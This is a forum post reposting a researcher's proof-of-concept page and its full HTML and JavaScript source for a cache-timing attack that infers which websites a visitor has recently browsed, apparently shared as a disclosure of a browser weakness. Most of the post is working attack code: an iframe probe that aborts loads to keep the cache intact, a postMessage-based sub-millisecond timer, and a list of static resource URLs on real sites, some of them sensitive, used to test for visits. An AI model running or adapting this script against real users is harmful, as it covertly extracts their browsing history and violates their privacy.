Jump to content
Terran

Cache-timing attack reveals the websites you visited

Recommended Posts

Posted

Script-uri PoC:

http://lcamtuf.coredump.cx/cachetime/ (Firefox only)

http://lcamtuf.coredump.cx/cachetime/orig.html (alte browsere)

CSS :visited may be a bit overrated

OK, second time is a charm. This script is probably of some peripheral interest:

* http://lcamtuf.coredump.cx/cachetime/

In the past two years or so, a majority of browser vendors decided to take a drastic step of severely crippling CSS :visited selectors in order to prevent websites from stealing your browsing history.

It is widely believed that techniques such as cache timing may theoretically offer comparable insights, but the attacks demonstrated so far seemed unconvincing. Among other faults, they relied on destructive, one-shot testing that altered the state of the examined cache; produced only probabilistic results; and were far too slow and noisy to be practically useful. Consequently, no serious attempts to address the underlying weakness have been made.

My proof of concept is fairly crude, and I'm sure it will fail for a minority of readers; but in my testing, it offers reliable, high-performance, non-destructive cache inspection that blurs the boundary between :visited and all the "less interesting" techniques.

Sursa (http://lcamtuf.coredump.cx/cachetime/):

<html>
<title>Firefox PoC: rapid history extraction through non-destructive cache timing</title>

<!--

Hello, traveler!

There are three simple tricks in this otherwise straightforward code:

1) Instead of the usual tendency to leverage <img onload=...>, it attempts
to load selected third-party URLs in an <iframe>. This has two very
important benefits:

- We can detect that the browser is preparing to parse the retrieved
document, and do not have to wait for it to be actually parsed and
rendered. We do this by continuously accessing the DOM of the
original about:blank frame, and trapping same-origin policy violations
as soon as that context is discarded.

- In all browsers, we can reliably abort the underlying request by
changing the src= parameter of the frame as soon as we have a
reasonable suspicion we're dealing with a cache miss. This preserves
the integrity of the cache.

2) Unfortunately for applications like this, browser vendors clamp the
minimal delay for setInterval and setTimeout calls, which makes it
difficult to perform the check frequently enough. This is worked around
by leveraging postMessage() to simulate a sub-ms resolution timer.

3) There are some counterintuitive tweaks necessary to allow the timing
to work just right - and that's the main reason why this PoC is optimized
only for Firefox. About the most important point is a cool-off period
after resetting the src= of a frame to about:blank: several miliseconds
must be allowed to permit the navigation to complete properly.

The target URLs probed by the script can be almost arbitrary, as long as they
are not explicitly marked as non-cacheable, and do not have an unreasonably
short max-age / Expires. You can target specific HTML pages, favicons,
images, CSS, static JS, etc. This version uses static CSS and JS subresources
over approximately 10 kB, as they are a very stable and predictable target.

What else? This implementation scans around 50 individual URLs per second, but
uses conservative timing and redundancy to stay on the safe side. With minor
optimizations and some parallelism, several hundred URLs per second should
be doable.

If you have any questions, please ping me at lcamtuf@coredump.cx. You can
also thank me for not making a conference presentation, a research paper,
or a PR release out of this ;-)

-->

<script>

/*******************************
* SUB-MS TIMER IMPLEMENTATION *
*******************************/

var cycles = 0;
var exec_next = null;


function timer_interrupt() {

cycles++;

if (exec_next) {
var cmd = exec_next;
exec_next = null;
cmd();
}

}


if ('v' != '\v')
window.addEventListener('message', timer_interrupt, false);


function sched_call(fn) {
exec_next = fn;

if ('v' == '\v') {
setTimeout(timer_interrupt, 1);
} else {
window.postMessage('123', '*');
}

}


/****************
* SCANNED URLS *
****************/

var targets = [

{ 'category': 'Social networks' },

{ 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',
'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] },

{ 'name': 'Twitter', 'urls': [ 'http://a0.twimg.com/a/1322778272/phoenix/css/phoenix_core.bundle.css',
'http://a2.twimg.com/a/1322778272/phoenix/css/phoenix_core.bundle.css',
'http://a0.twimg.com/a/1322778272/phoenix/css/phoenix_more.bundle.css',
'https://twimg0-a.akamaihd.net/a/1322778272/phoenix/css/phoenix_core.bundle.css' ] },

{ 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] },

{ 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },

{ 'category': 'Content platforms' },

{ 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] },

{ 'name': 'Blogger (admin page)', 'urls': [ 'http://www.blogger.com/static/v1/v-css/4158269524-common_head_content.css' ] },

{ 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] },

{ 'name': 'LiveLeak', 'urls': [ 'http://edge.liveleak.com/80281E/u/u/ll2_css/jquery_ui/jquery-ui-1.8.6.custom.css' ] },

{ 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] },

{ 'category': 'Online media' },

{ 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] },

{ 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css',
'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] },

{ 'name': 'ZDNet', 'urls': [ 'http://i3.zdnetstatic.com/css/v3/base-min-57244.css' ] },

{ 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.xai6cepmHKc.css' ] },

{ 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] },

{ 'category': 'Commerce' },

{ 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },

{ 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] },

{ 'name': 'Sears', 'urls': [ 'http://nc.shld.net/11292235/css/refactorSPUHeaderCombined.css' ] },

{ 'name': 'Lowes', 'urls': [ 'http://www.lowes.com/wcsstore/B2BDirectStorefrontAssetStore/javascript/mbox.js' ] },

{ 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] }

];


/*************************
* CONFIGURABLE SETTINGS *
*************************/

var TIME_LIMIT = 5;
var BACK_OFF_MS = 50;
var MAX_ATTEMPTS = 2;

/**********************
* MAIN STATE MACHINE *
**********************/

var log_area;

var target_off = 0;
var attempt = 0;
var confirmed_visited = false;

var current_url, current_name;


/* The frame points to about:blank. Initialize a new test. */

function perform_check() {

cycles = 0;
setTimeout('sched_call(wait_for_read)', BACK_OFF_MS);

}


/* Wait for the about:blank page to load, as confirmed by DOM access.
When done, navigate the frame to the target URL. */

function wait_for_read() {

if (cycles > 1000) {
alert('Something went wrong during testing.');
return;
}

try {

if (frames['f'].location.href == undefined) throw 1;

cycles = 0;
sched_call(wait_for_noread);

document.getElementById('f').src = current_url;

} catch (e) {

setTimeout('sched_call(wait_for_read)', BACK_OFF_MS);

}
}


/* The browser is now trying to load the destination URL. Let's see if
we lose SOP access before we hit TIME_LIMIT. If yes, we have a cache
hit. If not, seems like cache miss. In both cases, abort pending
navigation by pointing the frame back to about:blank when done. */

function wait_for_noread() {

if (cycles > TIME_LIMIT) {

document.getElementById('f').src = 'about:blank';
maybe_test_next();
return;

}

try {

if (frames['f'].location.href == undefined) throw 1;

sched_call(wait_for_noread);

} catch (e) {

document.getElementById('f').src = 'about:blank';
confirmed_visited = true;
maybe_test_next();

}

}


/* Just a logging helper. */

function log_text(str, type, cssclass) {

var el = document.createElement(type);
var tx = document.createTextNode(str);

el.className = cssclass;
el.appendChild(tx);

log_area.appendChild(el);

}


/* Decides what to do next. May schedule another attempt for the same target,
select a new target, or wrap up the scan. */

function maybe_test_next() {

if (target_off < targets.length) {

if (targets[target_off].category) {

log_text(targets[target_off].category + ':', 'p', 'category');
target_off++;

}

if (confirmed_visited) {

log_text(current_name + ' [' + cycles + ':' + attempt + ']', 'li', 'visited');

}

if (confirmed_visited || attempt == MAX_ATTEMPTS * targets[target_off].urls.length) {

if (!confirmed_visited)
log_text(current_name + ' [' + cycles + '+]', 'li', 'not_visited');

confirmed_visited = false;
target_off++;
attempt = 0;

maybe_test_next();

} else {

current_url = targets[target_off].urls[attempt % targets[target_off].urls.length];
current_name = targets[target_off].name;

attempt++;

perform_check();

}

} else {

document.getElementById('f').src = 'about:blank';

document.getElementById('btn').disabled = false;

document.getElementById('survey').style.display = 'inline';

}

}


/* The handler for "run the test" button on the main page. Dispenses
advice, resets state if necessary. */

function start_stuff() {

if (navigator.userAgent.indexOf('Firefox/') == -1)
alert('You are not running Firefox. The code is Firefox-specific, so the test will probably fail.\n\n' +
'(Note, however, that there is nothing browser-specific about the underlying approach itself.)');

target_off = 0;
attempt = 0;
confirmed_visited = false;

document.getElementById('btn').disabled = true;

log_area = document.getElementById('log');
log_area.innerHTML = '';

document.getElementById('f').src = 'about:blank';

maybe_test_next();

}


/* Survey helper. */

function survey(answer) {
var x = new XMLHttpRequest();
x.open('GET', 'survey.cgi?' + answer, false);
x.send(null);
alert('Thanks for the feedback!');
document.getElementById('survey').style.display = 'none';
return false;
}

</script>

<style>
body {
font-family: 'Georgia', 'Arial', 'Helvetica';
background-color: white;
color: black;
}

.visited {
color: green;
font-weight: bold;
}

.not_visited {
color: gray;
}

.category {
color: crimson;
text-decoration: underline;
font-weight: bold;
font-size: 120%;
}

.list {
font-size: 80%;
}

h5 { color: black; }

</style>

<h3>Firefox PoC: rapid history extraction through non-destructive cache timing</h3>

<span style="color: steelblue">
For more information about this proof-of-concept script, please

<a href="http://lcamtuf.blogspot.com/2011/12/css-visited-may-be-bit-overrated.html">see my blog post</a>;
for implementation notes, you can also <a href="view-source:http://lcamtuf.coredump.cx/cachetime/">examine the source code</a>.
Long story short, the goal is to implement fast, reliable, and non-destructive extraction of browsing history by observing cache timings.
Such attacks were historically regarded as fairly impractical, slow, and noisy - and so (as opposed to
<a href="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">CSS :visited selectors</a>), no realistic plans have been
made to address the underlying weakness.
<p>
This page is a quick hack, so there is a chance it may not work for you; but for most visitors, it should perform very well. The code is Firefox-specific,
although the approach itself is fully portable. My <a href="orig.html">earlier variant</a> works in multiple browsers, but only
on certain systems. For this PoC, I focused on getting it right in a single browser first. Oh: shameless plug for
<a href="/tangled/">TTW</a> goes here, too.</font><br>
</span>
<p>

<input id=btn type=submit onclick="start_stuff()" value="Do the thing already!">
<p>
<h5>The script thinks you have recently visited the sites shown in <font color=green>green</font>:</h5>

<div id=log class=list>...
</div>
<p>
<iframe id=f name=f height=20 width=200 style="opacity: 0.1" src="about:blank"></iframe>
<p>
<span id="survey" style="display: none;color: steelblue; font-size: 80%">Are the results accurate?
Click <a href="#" onclick="return survey('yes')">here</a> if yes, or <a href="#" onclick="return survey('no')">here</a> if not.
You can also ping me at <a href="mailto:lcamtuf@coredump.cx">lcamtuf@coredump.cx</a>.</i></span>

  • Upvote 2

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...